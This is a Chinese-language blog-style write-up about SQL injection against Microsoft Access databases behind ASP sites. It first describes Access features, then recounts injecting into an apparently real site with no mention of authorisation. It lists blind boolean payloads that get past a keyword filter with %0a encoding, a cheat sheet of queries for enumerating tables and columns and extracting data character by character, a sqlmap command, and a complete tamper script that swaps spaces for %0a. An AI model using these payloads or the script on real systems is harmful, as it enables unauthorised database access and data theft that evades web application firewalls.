Microsoft Access
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。== 2018年9月25日,最新的微软Office Access 2019在微软Office 2019里发布。 ==
MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。
软件开发人员和数据架构师可以使用Microsoft Access开发应用软件,“高级用户”可以使用它来构建软件应用程序。和其他办公应用程序一样,ACCESS支持Visual Basic宏语言,它是一个面向对象的编程语言,可以引用各种对象,包括DAO(数据访问对象),ActiveX数据对象,以及许多其他的ActiveX组件。可视对象用于显示表和报表,他们的方法和属性是在VBA编程环境下,VBA代码模块可以声明和调用Windows操作系统函数。
这是不是说Access再一次崛起了???
Microsoft Access 特性
Access数据库中没有注释符号.因此 /**/ 、 – 和 # 都没法使用。
Access数据库不支持错误显示注入,Access数据库不能执行系统命令。
access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行
在这里强调这个,是因为access数据库虽然也支持order by 、union select 、布尔型注入,但是由于不存在注释符,所以在手工注入的时候,需要注意,以及想要绕过waf规则的时候,就不要浪费力气写啥 == /**/ ==这种了
Access数据库注入
某日,进行测试的时候,突然发现某asp网站疑似存在Int型注入
页面原型:
?ID=382
输入测试poc,此时页面变化为英文
?ID=382-1
为了验证猜测,访问 == ID=381 == 页面,与漏洞展示页面一致
由于ASP大部分都是Access数据库,所以这个时候也想按照Access数据库进行注入;开始使用联合查询,但是发现并没有什么卵用,所以还是使用布尔查询,毕竟只是想验证猜想
Access数据库特有的表是:msysobjects ,所以可以用它来判断是否是Access数据库
and exists(select*from msysobjects)
然后尴尬的事情果然发生了
不知道是啥waf,盲猜是自己写的一个过滤,竟然是黑名单过滤,那就有机会饶
首先当然是先看一下,他的防护规则是啥,当然是要在作死的边缘疯狂试探
or 1=1
or true
or false
非常好,看来布尔是好使的,接下来就看到底是屏蔽了啥,一般情况下,waf捕捉的关键字,通常为 特殊符号里的单引号、注释符、星号;or / and / order by / union select / select from
这里屏蔽的关键字,不会单独屏蔽,但是连在一起就会被发现,所以这里屏蔽的其实就是 select + from
所以接下来就要尝试一下,如何才能绕过;一开始使用特殊编码转换关键字,使用特殊编码
%53elect
select+distinct+
SeleCT
SeleCt%0d%0a
select%2f**%2f
select%23%0a
select%0A
最后在%0a这里绕过去了,想麻烦了,绕过去了,但是没完全过去,giao
%0Aand%0Aexists(select%0A*%0Afrom%0Amsysobjects)
一开始还以为哪里出了问题,或者没绕过去,但是被我发现,这个默认表可能是给隐藏了,那就报表好了,当admin表不存在的返回
%0aor%0aexists(%0aSeLeCt%0A*from%0aadmin)
这里存在job表
%0aor%0aexists(%0aSeLeCt%0A*from%0ajob)
判断job表的列个数
+or+exists(select%0A*from job order by 29)
判断列的字段名
+or exists(select%0aid from job)
猜测第一个id值的长度
+or+(select%0Atop+1+len(id)from+job)>2
判断第一位id的值
这里使用第一条payload计算ascii值失败了
+or (select%0atop 1 asc(mid(id,1,1)) from job)>32
直接爆破第一位吧,猜测id列的第一行数据的第一个字符的的值,由于id参数是整型,所以不需要使用ascii转换
+or+(select%0Atop+1+mid(id,1,1) from job)=3
判断第二位id的值
+or+(select%0Atop+1+mid(id,2,1) from job)=7
得到id值为== 37 ==
判断第二排id值长度
+or+(select%0Atop+1+len(id)+from+(+select%0Atop+2+*+from+job)+order+by+id+desc)>2
对于判断存在哪些表,只能用以下枚举的方法来猜测是否存在某某表。
为了方便观看,暂时不将空格进行替换(找大字典,配合burp进行枚举即可)
and exists(select * from 表名)
判断列的个数
and exists(select*from 表名 order by 个数)
判断列的字段名
and exists(select 字段名 from 表名)
判断表内数据的行数
and (select count(*) from XXX)>数量
判断列的第一个数据的长度
and (select top 1 len(字段名) from 表名)>长度
猜测xx列的第一行数据的第一个字符的ascii码值
and (select top 1 asc(mid(字段名,1,1)) from 表名)>32
由于top命令区别于limit,他只能是前几行,top 1就是第一行,top 2就是前两行;此时借鉴人家的,那就是使用联合查询,先查询前两条数据然后做一个倒顺序排列,这样的话将查询结果当成一个单独的表,而由于使用了倒叙,所以第二条数据就变成了第三条,再将查询结果进行判断前一条,这样就解决了这个问题
and (select top 1 len(字段名) from ( select top 2 * from 表名 ) order by id desc)>2
要是想用sqlmap呢,没有waf的情况,get型的直接
== sqlmap -u http://xxx.xxx.xxx --tables ==
替换空格为 %0a 的tamper脚本:
#!/usr/bin/env python
"""
空格替换成%0a
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "%0A"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "%0A"
continue
retVal += payload[i]
return retVal